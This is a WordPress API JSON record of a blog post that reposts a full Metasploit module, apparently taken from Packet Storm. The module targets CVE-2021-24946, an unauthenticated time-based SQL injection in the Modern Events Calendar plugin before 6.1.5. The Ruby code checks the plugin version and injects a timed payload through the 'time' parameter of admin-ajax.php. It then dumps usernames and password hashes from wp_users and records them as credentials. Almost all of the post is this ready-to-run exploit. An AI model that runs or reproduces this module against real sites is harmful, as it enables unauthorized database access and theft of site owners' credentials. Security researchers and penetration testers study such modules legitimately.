{"id":59347,"date":"2024-09-01T19:20:21","date_gmt":"2024-09-01T16:20:21","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181074\/wp_modern_events_calendar_sqli.rb.txt"},"modified":"2024-09-01T19:20:21","modified_gmt":"2024-09-01T16:20:21","slug":"wordpress-modern-events-calendar-sql-injection-scanner","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-modern-events-calendar-sql-injection-scanner\/","title":{"rendered":"WordPress Modern Events Calendar SQL Injection Scanner"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HTTP::Wordpress<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Exploit::SQLi<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;WordPress Modern Events Calendar SQLi Scanner&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in<br \/>versions before 6.1.5. The time parameter is vulnerable to injection.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die&#8217;, # msf module<br \/>&#8216;Hacker5preme (Ron Jost)&#8217;, # edb<br \/>&#8216;red0xff&#8217; # sqli lib assistance<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;EDB&#8217;, &#8216;50687&#8217; ],<br \/>[ &#8216;CVE&#8217;, &#8216;2021-24946&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/Hacker5preme\/Exploits\/blob\/main\/Wordpress\/CVE-2021-24946\/README.md&#8217; ],<br \/>[ &#8216;WPVDB&#8217;, &#8216;09871847-1d6a-4dfe-8a8c-f2f53ff87445&#8217; ]],<br \/>&#8216;Actions&#8217; =&gt; [<br \/>[&#8216;List Users&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Queries username, password hash for COUNT users&#8217; }],<br \/>],<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS]},<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;List Users&#8217;,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2021-12-13&#8217;<br \/>)<br \/>)<br \/>register_options [<br \/>OptInt.new(&#8216;COUNT&#8217;, [false, &#8216;Number of users to enumerate&#8217;, 1])<br \/>]end<\/p>\n<p>def check_host(_ip)<br \/>unless wordpress_and_online?<br \/>return Msf::Exploit::CheckCode::Safe(&#8216;Server not online or not detected as wordpress&#8217;)<br \/>end<\/p>\n<p>checkcode = check_plugin_version_from_readme(&#8216;modern-events-calendar-lite&#8217;, &#8216;6.1.5&#8217;)<br \/>if checkcode == Msf::Exploit::CheckCode::Safe<br \/>return Msf::Exploit::CheckCode::Safe(&#8216;Modern Events Calendar version not vulnerable&#8217;)<br \/>end<\/p>\n<p>print_good(&#8216;Vulnerable version of Modern Events Calendar detected&#8217;)<br \/>checkcode<br \/>end<\/p>\n<p>def run_host(ip)<br \/>@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload| # also tried encoder: :base64 and still not quite getting the right answer.<br \/>d = Rex::Text.rand_text_numeric(4)<br \/># the webapp takes this parameter and uses it two times in the query, therefore our sleep is 2x what it should be. so we need to cut it.<br \/>payload = payload.gsub(\/sleep\\(\\d+\\.\\d+\\)\/i, &#8220;sleep(#{datastore[&#8216;SQLIDELAY&#8217;] \/ 2})&#8221;)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;wp-admin&#8217;, &#8216;admin-ajax.php&#8217;),<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;action&#8217; =&gt; &#8216;mec_load_single_page&#8217;,<br \/># taken from sqlmap<br \/>&#8216;time&#8217; =&gt; &#8220;#{Rex::Text.rand_text_numeric(1)}) AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND (#{d}=#{d}&#8221;<br \/>}<br \/>})<br \/>fail_with Failure::Unreachable, &#8216;Connection failed&#8217; unless res<br \/>end<br \/>unless @sqli.test_vulnerable<br \/>fail_with Failure::PayloadFailed, &#8220;#{peer} &#8211; Testing of SQLi failed. If this is time based, try increasing SqliDelay.&#8221;<br \/>end<\/p>\n<p>columns = [&#8216;user_login&#8217;, &#8216;user_pass&#8217;]results = @sqli.dump_table_fields(&#8216;wp_users&#8217;, columns, &#8221;, datastore[&#8216;COUNT&#8217;])<br \/>table = Rex::Text::Table.new(&#8216;Header&#8217; =&gt; &#8216;wp_users&#8217;, &#8216;Indent&#8217; =&gt; 1, &#8216;Columns&#8217; =&gt; columns)<br \/>results.each do |user|<br \/>create_credential({<br \/>workspace_id: myworkspace_id,<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: user[0],<br \/>private_type: :nonreplayable_hash,<br \/>jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),<br \/>private_data: user[1],<br \/>service_name: &#8216;Wordpress&#8217;,<br \/>address: ip,<br \/>port: datastore[&#8216;RPORT&#8217;],<br \/>protocol: &#8216;tcp&#8217;,<br \/>status: Metasploit::Model::Login::Status::UNTRIED<br \/>})<br \/>table &lt;&lt; user<br \/>end<br \/>print_good(table.to_s)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HTTP::Wordpressinclude Msf::Auxiliary::Scannerinclude Msf::Exploit::SQLi def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;WordPress Modern Events Calendar SQLi Scanner&#8217;,&#8216;Description&#8217; =&gt; %q{Modern Events Calendar plugin contains an unauthenticated timebased SQL injection inversions before 6.1.5. The time parameter is vulnerable to injection.},&#8216;Author&#8217; =&gt; [&#8216;h00die&#8217;, # msf module&#8216;Hacker5preme (Ron Jost)&#8217;, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59347","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59347","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59347"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59347\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59347"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59347"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59347"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}